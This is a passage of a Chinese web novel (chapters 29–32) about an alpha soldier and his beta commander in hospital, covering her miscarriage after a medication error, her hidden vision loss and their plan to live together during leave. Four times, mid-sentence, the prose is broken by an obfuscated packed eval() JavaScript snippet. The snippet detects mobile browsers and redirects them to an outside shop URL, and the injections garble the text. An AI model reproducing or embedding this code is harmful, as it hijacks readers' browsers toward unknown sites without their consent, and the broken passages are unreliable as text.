——尽管这个孩子顽强地活下来了,可它会被爱着吗? 一想到那个无法被确定的答案,卫嘲风就觉得心痛。 与其这样。 为什么要留下来呢? 为什么要留下来呢? 可是,已经留下来了啊…… 软弱的泪水滴落在白色的被套上,氤氲成灰色的水渍。 术后第三天,beta女性完全恢复了意识,身体的各项机能也趋于稳定,现在只需静静等待伤口的愈合。 她的状态总体来说非常不错,态度也十分平静。 面对部下鞍前马后的照料,毫不客气地悉数接受,但从未主动与他提及活动室发生的事,也没有说过关于怀孕的任何话题。 那个时候她的拒绝,是因为觉察到什么了吗? 在训练场外和那个alpha男性谈话时突然的虚弱,还有那时候的干呕……现在想想,都是怀孕后出现的反应吧。 就算混乱的生理期难以给予提示,身体的诸多异常一定已经让她注意到某种变化。 眼下,医生已经对她本人交代过这方面的注意事项,因此可以排除不知情的可能性,那么她绝口不提的原因只能是她不想提。 可这不是一个一味回避就能解决的问题。 六个月之后怎么办? 六个月之后,孩子就会降生。 她要如何面对亲自赋予生命的孩子,如何回应外界的质疑,如何捏造这个孩子的来历…… 卫嘲风当然愿意承担这份责任。 但又怕自作主张反而会给她带来麻烦。 他应该就此提前与她达成一个共识吗? 还是说完全把这件事交给她一个人处理,他只要默默尊重她的一切决定就好? “你不用参加训练吗?”beta女性用她一如既往的口吻问道。 “嗯,为了避免发生过载,医院建议休养半个月。” 刻意回避了这是活动室事件的后遗症。 “你看上去有话要说。” 被戳破了。 既然被戳破了,那就趁这个机会问一下吧。 “那个…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277868|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀孕的事,为什么不告诉我呢?我……我虽然什么都还不是,但、但、但好歹也是……孩子的……父、父、父、父、父亲……” 没想到简简单单的一句话差不多消耗了全身的力气。 最后的那个单词比蚊子的叫声还要轻微。 因为他觉得自己不够格。 客观上是,客观上不够格。 “告诉你有什么用?” 她果然早就发现了。 “你能替我承担孕反,还是替我进产房?你只会坏事而已。我又何必多此一举呢?” 坏事……为什么说他会坏事呢? 卫嘲风不是一个精通人情世故、能够读懂话里有话的聪明人,但在这个时候他绝无仅有的直觉突然发挥了作用,让他一下子就领悟了话中的深意。 虽然不排除他想太多的可能性。 但从诸多事实考虑,他认为自己的臆测并非全无可取之处。 坏事,指的是如果他知道她怀有身孕,在9号群落出现的时候,他一定会用尽所能阻止她亲赴战场。 那样的话,她就没法亲自实施复仇了。 真是一个光想想就让人心痛到难以呼吸的猜测。 当然了。 对她来说,替一个死人报仇,比照料好自己的身体、照料好一个新的生命更加重要。 辛冽对她来说就是那么重要的存在。 但是……退一万步,一亿步,一兆步说……辛冽已经死了,卫嘲风还是活的,那个胎儿也是活的,而且,她看起来并没有放弃它的打算。 也就是说,哪怕只有一点,一丝,一毫的大小,朱厌允许卫嘲风留下的可能性还是存在的。 如果不是母体尚留有想要保全这颗胚胎的意识,那么这个孩子也无法给予回应般,在那样恶劣艰险的条件下存活下来吧? 哪怕只有一点,一丝,一毫,她也是对这颗胚胎存有感情的吧? 再退一万步,她如果要斩断任何可能性的话,那天晚上就不会什么措施也不做了吧。 退一亿步,她就压根不会提到那个交易。 退一兆步,她完全可以像无视LOGIS的其他alpha一样无视他。 只要知道这些事,卫嘲风觉得自己就还能忍受那种不知名目的羞耻感和自卑感,自卑地,又怀有希望地待在她身边。 有那样一个超级无敌优秀的母亲,一定也会是个超级无敌优秀的孩子吧。 就算遗憾地完全没有从母亲那里继承到任何优点,如果能够健康快乐地长大就足够让人满足了。 应该会和母亲姓吧。 毕竟身为父亲的自己没有任何权利,也没有获得任何许可,在那个孩子的社会角色上留下任何痕迹。 哪怕她大发慈悲,愿意给予他一份恩赐,恐怕他也承受不起。 说起来,她的名字是谁起的呢,为什么会用“厌”来做名字呢? 难道为她起名的人早就料到她长大以后会是这么一副厌世面孔? 总不可能是“讨厌”的意思吧? 她可是那么,那么让人着迷,着迷到让人怀疑自己的女性。 那么有魅力的女性。 那么特别的,beta女性。 29. 断裂 珂琳的态度出现了一些变化。 调任战地护士的她有很多机会得知长官怀孕的事情,更何况她对那个人的病情非常关注。 应该是猜到了什么。 连那两个看上去没什么经验的小护士都能准确判断出那个具体的日期,她没道理算不出来。 只要得出那个日期,对照一下beta女性的活动日程,再联系某人最近的异常举止,猜出正确答案并非那么困难。 她是怎么看待这件事的? 说不定已经在暗地里把他骂成了一条虫子,一条卑鄙无耻下流肮脏的大青虫。 因为他伤害了玷污了她所仰慕的那个人。 但是卫嘲风已经决定不去管旁人的目光了。 不管别人是怎么想的,只要那个人平平安安的就够了。 不管那个人是否愿意给他一个名分,只要平平安安的就够了。 “23号床的病人出现异常数据!快叫医生过去!” 从护士站的方向传来一阵近乎尖叫的声音。 简直有违职业规范。 大概是发生了很糟糕的突发情况,也许又有人要挺不过去了。 卫嘲风站在窗口,漠然地眺望着远处的景色。 用心地、费力地模拟出来的和人类的原始家园相似的景色,蓝天、白云、灰色的建筑群。 等一等,23号床? 呼吸猛地停住,心脏也漏跳了一拍。 23号床,是那个人的床位! 他居然没有在第一时间反应过来! 转身,心慌意乱地,匆匆跑出病房,在走廊上慌不择路地乱窜,摸索着,迷路一般寻找着那个熟悉的房间。 “出什么事了?!”在一团混乱之中,他看到了因为不熟悉业务而被排挤在外围的小护士乙。 她的面孔因为无措而涨得通红,双手不知该放在身上的那个角落,肩膀和膝盖都在颤抖,瞳孔也在眼眶里无序地缩放。 “出什么事了?”他狠狠地抓住她的手腕,强行镇压了她的抖动,“到底出什么事了?” “好、好像是……药……加、加错剂量了。”小护士用马上就要窒息一样的声音答道。 几步之外就是病房,但此刻好像整个楼层的医护人员都挤到了那间病房里,没有闲杂人等可以通过的空间。 听不到病人的声音,只有监测仪器毫无规矩地大呼小叫。 滴滴滴滴,滴滴滴滴滴…… 滴—— 据说是0.5毫升的用药被错加成了5毫升。 如果真的造成什么严重后果,这种错误足以把人送进监狱。 万幸病人没事,只是四个月大的胚胎没有承受住这十倍的误差,死在了母亲的腹中。 通过引产的手术取出了尸体。 “寄生在身体里的东西消失了。没什么不好的。身体恢复起来会更快吧。”她无喜无悲地躺在病床上,左眼的瞳孔无依无靠地漂浮在那片虚无的海洋上。 “嗯。”卫嘲风用尽了全身的力气,才挤出了这么一个音节。 她默许了它的存在,但是也不会挽留它的离开。 那个承载着他们两个人遗传信息的载体,对她而言只不过是可有可无的寄生组织。 有也可以。 没有更轻松。 即使可以为它戒酒,但依然会不顾一切地奔赴险地,因为它没有那么重要。 从天空飘落下来拯救他离开地狱的蛛丝断裂了。 原本就是细微到寄托不了更多重量的渺茫的希望,但终究是一缕希望,现在也消散了。 他们之间,再也没有可能了。 ——她的态度,就在传达这个信息。 胸口有一种黑色的、红色的、混沌的、恐怖的情绪在蔓延。 卫嘲风需要一个能够发泄的地方。 要自己把那些委屈和苦恼全部咽下去,他知道那是自己早该做好的觉悟,可是他做不到。 “住手!卫嘲风,住手!你疯了吗?” 回过神来的时候,左臂感受到尖锐的刺痛,包围着自己的是惊惧与试探的眼神。 他意识到自己被注射了一支镇定剂。 情绪像是被一层毛玻璃遮断了一样。 他知道它们就在那里,但突然间就感知不到了。 心脏仿佛被穿了一个洞,空虚感从这个洞中无止境地飘散开来。 “回房间去静躺一会儿。”珂琳将失去了价值的一次性针筒交给身边的一名同僚,然后架着alpha男性的胳膊,将他从地上扶了起来。 Alpha在同伴的帮助下茫然地穿过人群,穿过走廊,回到了自己的病房。 如果不是珂琳及时阻止,他可能已经将那个犯了错误的护士痛打一顿。 他什么时候变成了一个会将不满诉诸暴力的恶心的家伙? “二十五岁才是紊乱的高发期,你才二十二。果然是因为长官的事吧……听着,如果真的在医院打伤了工作人员,你可是会有大麻烦的。” “……抱歉。多谢。” “不用对我道歉,等情绪稳定之后,去向那个护士道个歉吧。” “……我……做不到。” 珂琳态度强硬地将患者塞到了床上。 她的力气出人意料地大,在beta之中绝对算是佼佼者。 很难想象她在LOGIS的维修部门担任着沙袋的角色。 难道说那种柔弱全是为了更好地帮助患有紊乱的alpha们发泄冲动而表现出来的演技吗? 穿着护士服的beta坐到了陪护席上:“不能原谅?” “……好不容易……和她有了一个联系……”alpha的声音可笑地哽咽了起来。 如果不是在这种情形之下,听到的人一定会哄堂大笑。 Alpha男性,是一个在享受了社会诸多优待的同时,被剥夺了示弱资格的物种。 可他现在却像是回到了性别尚未分化的时候——他曾被期待成为一个omega。 “我爸和我妈在我很小的时候就离婚了。” “嗯?” “如果一切安好的话,我应该会有一个小我两岁的弟弟或是妹妹……听说妈妈在怀孕四个月的时候流产,然后她就和我爸离婚了。” “你想说,流产是你父母离婚的契机?” “是我妈执意要离。她不再和我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290356|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸见面,因为会让她想起伤心事。我现在都不知道我爸究竟长什么样。” 珂琳沉默了一会儿,将双手撑在椅子的边缘上,挺直了上身,以逼视的姿态问道:“你真的很喜欢长官?” Alpha的脸有一点红。 也许是因为害羞,也许是因为尚未消退的沮丧。 “……是的。” “所以担心这件事会导致你和长官的关系彻底断裂——就像你父母那样?” “……嗯。” “我猜你是AO家庭的孩子,你的妈妈是omega吧?” “嗯。” “失礼地说,你不能用你母亲的态度去预设长官的想法。和alpha还有omega不一样,beta对‘繁殖’这种事情没有太多执念。” “繁——” 卫嘲风对这个充满动物性的词汇感到抗拒。 然而这正说明珂琳的话没错。 Alpha和omega天然比beta有着更强烈的生育欲望。 就连发热期和相互吸引的费洛蒙也像是他们尚未脱去的动物性本能。 用理性取代本能的beta,反而才是真正与“动物”区别开来的“人类”。 “Beta在精神方面的稳定性有目共睹,我觉得世界上没有多少事情能让长官动摇。” “可是……” 把相爱、结合这样的事情概括为繁殖。好像真的是那个人也会做的事。 Beta都是这样的吗? 这样的,冷漠、薄情——也就是所谓的,情绪稳定。 如果真的是这样…… 如果真的是这样,那个人又怎么可能为一个亡魂以身赴险? 那绝对不是理性行为,是在情感的驱使下才会做出来的事。 “你不会以为因为和你有了孩子,长官就会把你当成不一样的存在吧?” 不会的。 对那个人来说,世界上一定只有辛冽才能称得上是不一样的存在。 “你不觉得奉子成婚什么的,是一件很卑鄙的事情吗?” 他并没有想以孩子为借口,成为她心中不一样的存在。 只是卑微地,想要有一条哪怕只有蛛丝那么纤细的纽带。 “如果你真的喜欢长官,比起强求实在的证明,更重要的难道不是考虑怎样才能让她喜欢上你吗?” 啊…… “还是你觉得,自己根本不可能打动她的心,所以才如此执着于她以外的事物?” Alpha男性终于直视了护士的眼睛。 从窗外射进来的光线让她的眼睛呈现出清透的琥珀色,让她的表情看起来无比认真。 他想起这个人是如何表达自己的仰慕的。 即使知道自己只是被利用的对象,但因为能为那个人发挥价值,所以甘之如饴。 不需要可见可触的证据,甚至不需要被知晓,被回应。 只要那个人继续作为被仰慕的存在,高傲地、美丽地伫立在高处,就是最好的奖赏和回报。 这是一种多么单纯的,真挚的,高洁的仰慕之情。 那么,他又该如何去表达自己的爱慕之情呢? 30. 左眼 差点发生的暴力事件在战地医院引起了小小的骚动,不少碍于元帅的面子避免讨论这件事的人也终于忍不住掺和进来。 医院内部看起来风平浪静,其实流言已经飞得到处都是。 “……哦,是那个alpha啊。” “大概是为了得到提拔所以用了什么不可告人的手段勾引了上校吧。” “所以他被调到第一战列的事也是……” “没错没错。” “看他的样子,好像真的被那个beta军官迷得七荤八素啊。哎呀哎呀,真是开眼了,alpha居然喜欢上beta了。” “那元帅又是怎么回事?不是说上校是元帅的情人吗?所以那个alpha是打算和元帅抢人啰?勇气可嘉啊。” ——总之就是这样的流言。 卫嘲风已经向当日在场的所有人都单独致了歉。 虽然说不知道那些人心里到底是怎么想的,至少在表面上,已经顺利达成了和解。 至于流言,就随它去吧。 毕竟“为了提拔”和“不可告人的手段”都是真的,是无可辩驳的真相。 “被迷得七荤八素”也是真的。 唯一有些让人迷惑和不安的就是元帅在这个故事里扮演的真正的角色了。 虽然很暧昧,但看上去并不存在那种关系。 那个alpha在那个人面前表现出来的,大体上是一种长辈对晚辈的关切。 只是在没有血缘之类的关系加持的情况下,看起来超过了正常的尺度。 会是什么呢? ……这些都不是现在应该考虑的事情。 卫嘲风轻轻摇了摇头,深吸了一口气,走进了23号床所在的房间。 Beta女性坐在病床上,直直地看着前方,好像在发呆,直到卫嘲风走到床尾,才回过神来:“你走路怎么一点声音都没有?” 因为穿的是住院病人专用的棉拖鞋,走在地上本来就很难发出声音。 “长官,你刚才在想什么?” “复盘战斗场景,考虑下次遭遇时的对策。总不能每次都弄得这么狼狈。” “有方案了吗?” “S级群落的先锋主力智力水平非常高,很难总结出成体系的对战策略,照这样下去,以后再遇到,可能还是只能依靠战斗直觉进行应对,风险太大了,而且没有普适性。” “可以让我也了解一下当时的情形吗?” “怎么,你想走参谋路线了?” ——只是想在你身边发挥作用。 “有时候让懂得不多的外行人想办法,也能起到拓展思维的作用。” “你也不算外行人吧,不过说的有道理,过来。” Beta女性拍了拍身侧的床沿,示意下属坐到自己身边。 Alpha受宠若惊,乖乖照办。 终端制造出来的虚拟屏幕成了beta女性的画板,她熟练地整理出几个锚点,三两下就勾勒出ECLIPSERAVEN的形状,以及担任各种功能的群落成员,将它们依次投放到三坐标的立体坐标系中。 她一定经常做这个。 因为她只花了十分钟,就完成了交战双方第一波对峙的动态立体影像,一边还在为下属进行讲解。 “……看出来了吗?它们本来想包围一号机的,但是领队者发现这个任务有难度,于是立刻就调整了作战方案,变成了半包围、半车轮的模式,这个作战非常有效,因为对方有数量上的优势。” “长官,示例里的一号机,就是你的机体吗?” “是的,怎么了?” Alpha犹豫了一下,摇了摇头。 Beta女性没有纠结于这个暂停,继续模拟第二波对峙。 “三架侧卫试图从外面瓦解包围圈,并干扰中心敌人的注意力,这在最初起到了一定效果,但对方也很快就开始执行新的对策。” “好快!” “9号群落可以在一定范围内进行思维网络共享,可以跳过下达指令的步骤。” “这还真是棘手。” “反过来说,我们在实战中每个人都会有不同的临场反应,如果能有效利用这种不一致的思考,就能成为对付它们的关键。” “忽视对方的客观数量,将每个小范围内的敌人当成一个整体,这样拥有人数优势的就反而是我们了。” “没错。” 立体坐标中,被标注为一号的黑色乌鸦突然冲破了前方的拦截线,像一道闪电一般,给了一直游离在战场后方的一只四足虫致命的一击。 随后,原本构成拦截线的虫族战士突然像发狂了一样,对一号机展开了自杀式的攻击,数量迅速削减,但最后还是依靠数量优势对一号机造成了重大伤害。 卫嘲风静静地看着这一幕。 本该是惊心动魄的复仇剧,就这样被解剖成点和线,在虚无的立体坐标中重现了出来。 “本来以为只要一举击败对方的指挥官,思维网络就会瘫痪,没想到好像触发了狂暴机制,就像人体在受到致命伤害的时候会分泌肾上腺激素一样。” Beta女性平淡地总结道。 “大致的情况就是这样,你有什么见解吗?” “我……”卫嘲风欲言又止,最后摇了摇头,“长官,可以把这组数据分享给我吗?” “可以。” 就在两个人进行数据传输的时候,负责管理饮食的护士把午餐送了过来,看到其他病房的病患出现在这里,也没有感到惊讶,淡定地取出两份不同的配餐:“在12号床没见到人,就猜你是到这里来了。你的午餐,年轻人。有补充剂的那份是你长官的。” 卫嘲风恭恭敬敬地把餐盒接了过来,有些拘谨地道了谢。 送走饮食护士后,把自己的午餐放在一旁,先捣腾起了beta女性的那一份,最后在不自觉间变成了端着餐盒,用勺子舀着糊状的食物亲自喂食的状态。 Beta女性不满地盯着他:“我的手没断。” Alpha这才如梦方醒,尴尬地将勺柄换了个方向,递给上司。 Beta女性接过餐盒,没有注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14301043|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到放在最边上的那管补充剂,动作晃了一下,差点把它晃到地上去。 之所以说差点,是因为坠地的进度已经过半,竟被alpha及时接住了。 简直像是早有准备一样。 如果真的能在面对突发情况时展现出这种程度的反应速度,那么一旦有机会参加实战,应该很快就能顺利走上晋升之路,成为ECHO的名人吧。 “你不用每天来这里陪我。”beta女性在将药剂放回餐盒的时候突然说道。 卫嘲风已经做好不会因为这种拒绝的话语打退堂鼓的觉悟了。 “我只是想为喜欢的人做一点事。想和喜欢的人多呆一会儿。长官也谈过恋爱,应该知道这种心情吧。”他恬不知耻地说。 “明明知道我喜欢的人不是你?” “我明明就不知道。” 如果让自己刻意忘掉她对辛冽念念不忘这件事情的话,他就又可以变回那个妄自揣测她心意的谜之自信的alpha了。 哪怕,只是一点,一丝,一毫的可能性。 他要做世界上脸皮最厚的alpha。 “一直这么散漫的话,成绩会退步的。本来就是ECHO的吊车尾,所以就放弃进步了吗?” “我每天都有坚持锻炼,虽然强度比不上训练的时候,但至少体能和力量没有退化。” “哦。” 好像妥协了? Beta女性开始安静地进食。 卫嘲风这才打开自己的午餐。 医院的食堂有神奇的本领,可以将富含蛋白质的高级肉类做得非常难以入口。 总觉得他们不该这样对待病人。 午后,alpha按照和医生商量过的强度进行体能训练,晚上,研究从长官那里得到的战场情报。 次日,按时去12号病床前报到,询问身体情况和当日心情。 Beta女性破天荒地说想去外面走走,这让alpha高兴了很久。 但在看到病号服下露出来的几乎遍布全身的绷带时,又不禁感到心疼。 “真的没问题吗?” “大多数都是皮外伤而已,只是伤口的数量有点多。别磨磨蹭蹭的了,我又没残废。” 其实她完全可以自己去,但既然特意选择他在的时候提出这个要求,显然也是表达了对他在某种程度上的认可吧。 尽管这里被叫做战地医院,实际上和真正的战场相距甚远,只是因为建造在前线,所以才得了这个名称。 院址范围内有很多适合散步的地方,环境也还算不错。 在经过一条由小型鹅卵石铺成的草坪道路时,卫嘲风突然揽住了身边的女性,两个人的身体紧紧贴在一起,从边上经过的路人对此露出了古怪的表情。 Beta女性什么都没有说。 卫嘲风很快就松开了她,但还是将她的手攥在掌心,就像生怕她突然逃开似的。 那只手有一点凉。 “长官……”他用只有两个人能听到的声音说道,“你的左眼视力是不是出现问题了?” 31. 过分 Beta女性面无表情地站在原地。 过了几秒,才点了点头:“有时候会突然失去视力。索性瞎了倒还好,现在这样实在有点麻烦。” 她用那双颜色不一的眼睛看着alpha:“很明显吗?” 那样子像是在担心:连面前这个单纯到有点白痴的下属都瞒不住,到底还能将病情隐瞒多久。 卫嘲风回避了那道视线,轻声道:“昨天长官在演示的时候,我就觉得一号机的行动偶尔会变得奇怪,明明没有敌人,却一直在提防左前方的什么东西。” “原来如此……” “吃饭的时候碰掉了不在盲区里的补充剂。” “……” “还有……只是、只是出来散个步,却要叫上、叫上我一起。” Alpha的声音变得更轻了。 “……刚才,我差点撞到什么了吗?” “不是。不过前面有一级台阶。” “……”beta女性低下头,检查了一下前方的路面。 就算不用看得特别仔细,也能辨认出那里存在着一个落差。 而她刚才居然没有发现。 单眼视力的不完整性,以及鹅卵石花纹的迷惑性,竟然让她产生了这样的纰漏。 “不要告诉别人,这是命令。”她说。 “嗯,我知道。但是……”卫嘲风低下头。 ——在驱动者的选拔标准中,视力是最基础的条目。 正常的五感、健全的四肢是驾驶BOS的前提。 少了一只眼睛,相当于直接把视野减半,对深空中的作战来说,这是非常大的缺陷,更不用说像这种突发性的单眼失明。 “如果单侧眼睛受伤失明,一般会建议尽快摘除伤眼,否则另一只眼睛也会遭到免疫系统的攻击,最终导致另一只眼睛也失去视力。” “虽然虹膜出现了变质,但是眼球本身没有病变,所以在精密体检的时候也不会露出破绽。好像是神经方面的原因。” “不是体检结果的问题!”alpha突然提高了音量,但瞬间又压低下来,“这在战场上有多危险难道你不知道吗?” “我应付得了。” “你的驾驶表现已经证明视力对战斗产生影响,至今为止一直没事也只能说是侥幸。长官……你也是因为顾虑到这一点,所以才会主动调动到LOGIS?” “我不喜欢夸大事实,我说应付得了,就是应付得了。这是将视力影响包含在内的预测。” 和alpha控制不住越来越激动的语气相比,beta女性几乎可以用不为所动来形容。 然而她越是无动于衷,alpha就越是激动。 “您刚才,差点就踩空一级台阶!” 他不得不搬出近在眼前的事实作为依据。 Beta女性用那只异色的眼睛逼视着他:“你是——想让我离开前线吗?” 卫嘲风刚要开口,身体猛地一僵。 他立刻从病号服的上衣口袋里摸出一剂药服了下去,然后用力做了几个深呼吸。 紊乱的发症频率比想象中要高很多,他被迫养成了随身携带额外的抑制用药物的习惯。 在这期间beta女性只是默默地等待着。 Alpha的身体冷静了下来,他低头看着自己的长官,踌躇着说道:“你已经替辛冽报仇了。战场上应该已经没有能够让你留恋的东西了吧?” Beta抬头望向天边那团人造的晚霞景观,橙红色的、紫红色的光芒将她蓝灰色的虹膜染上一层暖意。 “我会考虑的,你还是先管好自己的事。照ECHO的训练强度,即使没有机会参与实战,要消耗多余的精力也是绰绰有余了。” “唔。” “紊乱,没有好转的迹象吗?” 这话真是扎在了卫嘲风的心上。 “不久之后前线有一个统筹长假,不如趁那个时间找一个omega完成标记吧。” “长官!你实在是——” “嗯?” “太过分了!!” Beta女性露出了真心实意的困惑的表情。 “你不喜欢我也就算了,但是你也不能强迫我去喜欢别人。就算找到omega伴侣就能轻松消解紊乱的副作用,我也……我也没办法对不喜欢的人做那种事。”alpha全力申辩着。 “我们做那种事的时候,你也没喜欢上我吧。”beta女性淡然地说道。 “那是你强迫我的,不是我自发的!”alpha再次不由自主地提高了声音。 这句话瞬间吸引了周围所有人的注意,无数道视线如同追光灯一样扫射着舞台的主人公,接着是饶有兴致的窃窃私语。 Beta女性丝毫没有表现出不自在的样子,她对审视打量的目光有着强悍的免疫力。 她反握住同行者的手腕,走过那级狡猾的台阶,沿着鹅卵石小路继续向前走去。 “那么,长假的时候,ECHO的宿舍要翻修,我可以去你家借住吗?” 卫嘲风加快了脚步,两个人的位置关系立刻从一前一后变成了手拉手并肩走。 “什么?!当然可以!不过……为什么?” 话题转变得太快了。 而且,简直像天上掉馅饼一样。 单恋的对象主动提出同居,世界上怎么会有这么好的事情呢? 他甚至无法分辨这到底是羊入虎口,还是引狼入室。 “我的住处只有宿舍,如果宿舍不能住的话,我就只能睡到桥洞下去了。” 开什么玩笑,就算没有房产,也没有办法投靠父母,军队下发的补助也足够一个人在快捷、甚至商务乃至度假酒店逍遥度日了。 那么,她是刻意的吗? 她愿意接近自己了吗? 她是想给他一个机会吗? 还是想再次捉弄他? 或者是想留在近旁进行考察——卫嘲风当然不会拒绝。 难道是担心自己真的会趁长假去找omega消解紊乱,所以才提出这种漏洞百出的要求? 想到这里,天真的alp ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311175|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ha竟莫名感到一丝甜蜜。 他就是那种靠美好幻想也能活下去的神奇的生物。 从某些强词夺理的角度来说,这未必不是蓝远山口中“心大”的一种表现。 卫嘲风比beta女性提前三天办理了出院手续,先是回到第一战列参与了最后一场战役复盘会议,在住院时进行的立体坐标模拟分析在这时候帮上了大忙,让他不至于在受到有意刁难的时候哑口无言。 有些人甚至相当欣赏他头头是道的分析。 接着是统筹长假前的集体会议。 所谓的统筹长假,一般是在间隔较短的几场大战结束后,由军方高层判断短期内不会再出现紧急入侵或其他灾害事件时,总部给整个STELAR集体安排的休息时间,长度在半个月到两个月不等。 这次的假期有41天,算是一个让人感到惬意的长度了。 会议强调了一些假期注意事项,重申了军队的规则,提示了长假期间各部门的紧急联络方式,最后就是要求所有人保持通信畅通,注意随时有可能出现的临时召集。 会议结束之后,邹允来找卫嘲风说了一堆有的没的,蓝远山也来问了一嘴长官的病情,从与这两人的谈话,以及营地的整体氛围来看,这里还没有受到流言蜚语的影响,也没有人提及朱厌上校怀孕的事情。 那些风言风语应该已经被那位大人物彻底封死在战地医院的设施范围之内了。 卫嘲风从宿舍里收拾了几本教材,以及一些换洗衣物,算不上两手空空,但总归是轻装上阵地搭上了返回地面的波恩。 卫嘲风的母亲目前住在宜居卫星启程星四号,她原本留在地面的房产就成了儿子独居的住处。 自十五岁考入军校之后,每个假期卫嘲风都会一个人住到这里来。 为了迎接即将到来的客人,这次他一回家就在网上订购了一批能够想得到的家具和日用品,将闲置已久的空卧室仔细布置了一番。 最后,在beta女性出院的前一天晚上回到战地医院。 那个alpha又来了。 进入病房之前,卫嘲风没料到里面还有其他人,如往常一样敲过门就走了进去,通过玄关,看到那个高大的背影时,立刻感到了一阵揪心的尴尬。 身为整个军部的最高统帅,这个人不该空闲到三天两头能往医院跑。 但他已经来过三次了。 这说明12号床的病人对他来说非常重要。 重要得超过了“一个重要的下属”。 “元帅。”这次,卫嘲风老实地表现了应有的礼节。 因为这个人正式出席了之前的集体会议,再假装不认识就说不过去了。 元帅穿着常服,但威势不减,他淡淡地看了这个新兵一眼,淡淡地说道:“我走了,你们保重。” 显然把病人和探病的人都囊括到了需要保重的对象中,这让新兵感到受宠若惊。 不过这种情绪对眼下的场景来说有些多余,因为元帅很快就离开了病房,就像是贴心地为两个年轻人留出了单独相处的空间。 32. 三幕戏 “那个……我都准备好了,如果你在宿舍里有什么东西要拿的,我今天跑一趟,然后明天就可以直接回家。还有,换洗衣物和洗漱用品……我姑且订了一些新品,不用特意去取,其他有缺的东西,也可以到了我家再买……你看,怎么样?” 卫嘲风小心翼翼地说道,右手忍不住在裤缝上擦来擦去。 “那明天就直接走吧。辛苦你了。”beta女性说。 “嗯……嗯……” “你今天晚上打算睡在哪里?” 卫嘲风被问倒了,他现在不是住院患者,医院可不会好心地赏他一张过夜用的病床。 “我……”他环顾着房间的内陈,最后指了指病床边上的陪护椅,“我可以睡在这里。” Beta女性似乎勾了一下嘴角,不知是被逗笑了,还是单纯想表示嘲讽,“去护士站那边说一声吧,可以领一张陪护用的折叠床。” “哦,好!”卫嘲风如释重负。 “好奇吗?”beta女性突然问道。 “什么?” “元帅和我的关系。” 卫嘲风的大脑出现了一瞬的空白。 对于这个完全没有预设过的问题,他不知道该如何回答。 他对此固然有种抓心挠肺的好奇。 可是,真的能让他知道吗? “如果你不愿意让我留宿的话,大概就是由他来帮我安排住处吧。” 听不出语气中是否含有某些情感,想不到她如此说明的目的,让人感到五味杂陈,五味杂陈的困惑和不安。 “不过你放心,我们不是你想的那种关系。” “我……我没有那样想!” 说不上来现在到底是什么心情。 既然她这样明确地否定了,就说明那个可怕的alpha与他并未构成让人绝望的竞争关系——照此判断,他应该松了一口气才对。 但是,心反而变得更加沉重了。 沉甸甸的,被包裹在一片伸手不见五指的雾霭之中,被碰不到抓不着的白色的涡流缠绕着。 * 第一次有除了自己之外的人出现在这间套房里,总觉得心境十分奇怪。 在上军校的时候,卫嘲风想过日后应该会和自己的omega伴侣一起住在这里,度过年轻时清贫而快乐的时光,等拥有了足够的积蓄之后,再购买一套真正属于自己的新房…… 不过他没找到那位幻想中的omega伴侣,即将和他开始同居生活的是他的beta长官。 这位beta目前确实是他的心仪之人,可惜这种感情还没有达到相互的境界。 但他又怎么能错过这个由她主动提供的、千载难逢的机会呢? 为了表现自己的诚意,卫嘲风承包了从上到下从里到外的一切家务,包括做饭。 不管是在军校还是在军队,都有能够提供营养均衡饮食的集体食堂,需要自己动手下厨的机会并不多,但假期独居的时候,难免会要开火,因为外面的食物很难一次性满足一名军人的进食需求。 Beta女性十分直率地表达了对他动手能力的惊讶和赞美。 他则是带着淡淡的得意,将那些理由十分自然地重申了一遍。 “不过因为只注意了营养搭配,所以不保证味道会好,盐和油,还有其他调味品,只加入了必要最低限度的量。” 他将那些外形看起来有些夸张的食物端上餐桌的时候,不忘准备“万一”的时刻为自己脱罪的说辞。 几乎没有外食经历的alpha其实不知道,这种完全不具备色与香的食物很难受到欢迎。 更何况beta女性又那么若无其事地动了筷子,并露出肯定的表情,“味道不重要,进食只不过是为了摄取营养。” 